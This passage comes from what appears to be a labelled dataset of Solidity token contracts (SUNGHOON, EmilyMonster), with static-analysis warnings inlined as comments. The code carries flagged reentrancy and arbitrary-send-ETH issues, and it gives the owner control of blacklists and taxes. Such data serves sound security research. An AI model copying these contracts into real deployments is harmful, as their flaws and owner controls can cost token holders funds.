b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SUNGHOON is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2fc29e1): SUNGHOON._taxWallet should be immutable \n\t// Recommendation for 2fc29e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Sunghoon\";\n\n string private constant _symbol = unicode\"SUNGHOON\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d0c3bbf): SUNGHOON._initialBuyTax should be constant \n\t// Recommendation for d0c3bbf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: efbffbe): SUNGHOON._initialSellTax should be constant \n\t// Recommendation for efbffbe: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 50ac424): SUNGHOON._finalBuyTax should be constant \n\t// Recommendation for 50ac424: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9555cce): SUNGHOON._finalSellTax should be constant \n\t// Recommendation for 9555cce: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4397617): SUNGHOON._reduceBuyTaxAt should be constant \n\t// Recommendation for 4397617: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19d5c00): SUNGHOON._reduceSellTaxAt should be constant \n\t// Recommendation for 19d5c00: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b55cd36): SUNGHOON._preventSwapBefore should be constant \n\t// Recommendation for b55cd36: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0f19472): SUNGHOON._taxSwapThreshold should be constant \n\t// Recommendation for 0f19472: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69fe700): SUNGHOON._maxTaxSwap should be constant \n\t// Recommendation for 69fe700: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f781936): SUNGHOON.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f781936: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a6aef23): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a6aef23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a4a3a88): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a4a3a88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a6aef23\n\t\t// reentrancy-benign | ID: a4a3a88\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a6aef23\n\t\t// reentrancy-benign | ID: a4a3a88\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 508ad4e): SUNGHOON._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 508ad4e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a4a3a88\n\t\t// reentrancy-benign | ID: 0d18ad1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 53672ec\n\t\t// reentrancy-events | ID: a6aef23\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74bf831): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74bf831: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2bb04de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2bb04de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 74bf831\n\t\t\t\t// reentrancy-eth | ID: 2bb04de\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 74bf831\n\t\t\t\t\t// reentrancy-eth | ID: 2bb04de\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2bb04de\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2bb04de\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2bb04de\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 74bf831\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2bb04de\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2bb04de\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 74bf831\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 74bf831\n\t\t// reentrancy-events | ID: 53672ec\n\t\t// reentrancy-events | ID: a6aef23\n\t\t// reentrancy-benign | ID: a4a3a88\n\t\t// reentrancy-benign | ID: 0d18ad1\n\t\t// reentrancy-eth | ID: bcfde12\n\t\t// reentrancy-eth | ID: 936fd15\n\t\t// reentrancy-eth | ID: 2bb04de\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1406486): SUNGHOON.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1406486: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 74bf831\n\t\t// reentrancy-events | ID: 53672ec\n\t\t// reentrancy-events | ID: a6aef23\n\t\t// reentrancy-eth | ID: bcfde12\n\t\t// reentrancy-eth | ID: 936fd15\n\t\t// reentrancy-eth | ID: 2bb04de\n\t\t// arbitrary-send-eth | ID: 1406486\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 53672ec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 53672ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0d18ad1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0d18ad1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: baefdae): SUNGHOON.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for baefdae: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b3c161b): SUNGHOON.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b3c161b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bcfde12): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bcfde12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 936fd15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 936fd15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 53672ec\n\t\t// reentrancy-benign | ID: 0d18ad1\n\t\t// reentrancy-eth | ID: bcfde12\n\t\t// reentrancy-eth | ID: 936fd15\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 53672ec\n\t\t// reentrancy-benign | ID: 0d18ad1\n\t\t// reentrancy-eth | ID: bcfde12\n\t\t// reentrancy-eth | ID: 936fd15\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 53672ec\n\t\t// reentrancy-benign | ID: 0d18ad1\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: b3c161b\n\t\t// reentrancy-eth | ID: 936fd15\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: baefdae\n\t\t// reentrancy-eth | ID: 936fd15\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 936fd15\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 936fd15\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10741.sol",
"size_bytes": 21356,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract EmilyMonster is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 13259fc): EmilyMonster._taxWallet should be immutable \n\t// Recommendation for 13259fc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51b284d): EmilyMonster._initialBuyTax should be constant \n\t// Recommendation for 51b284d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4acb11c): EmilyMonster._initialSellTax should be constant \n\t// Recommendation for 4acb11c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a9a4298): EmilyMonster._reduceBuyTaxAt should be constant \n\t// Recommendation for a9a4298: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a2d1e8): EmilyMonster._reduceSellTaxAt should be constant \n\t// Recommendation for 6a2d1e8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ae83bd): EmilyMonster._preventSwapBefore should be constant \n\t// Recommendation for 8ae83bd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Emily Monster\";\n\n string private constant _symbol = unicode\"EMILY\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5806b52): EmilyMonster._taxSwapThreshold should be constant \n\t// Recommendation for 5806b52: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13695dc): EmilyMonster._maxTaxSwap should be constant \n\t// Recommendation for 13695dc: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b961797): EmilyMonster.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b961797: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eadfec1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eadfec1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: beb9e46): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for beb9e46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: eadfec1\n\t\t// reentrancy-benign | ID: beb9e46\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: eadfec1\n\t\t// reentrancy-benign | ID: beb9e46\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ee04f2): EmilyMonster._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3ee04f2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: beb9e46\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: eadfec1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7f28e1f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7f28e1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d2bd4dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d2bd4dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7f28e1f\n\t\t\t\t// reentrancy-eth | ID: d2bd4dc\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7f28e1f\n\t\t\t\t\t// reentrancy-eth | ID: d2bd4dc\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d2bd4dc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d2bd4dc\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d2bd4dc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7f28e1f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d2bd4dc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d2bd4dc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7f28e1f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: eadfec1\n\t\t// reentrancy-events | ID: 7f28e1f\n\t\t// reentrancy-benign | ID: beb9e46\n\t\t// reentrancy-eth | ID: d2bd4dc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n 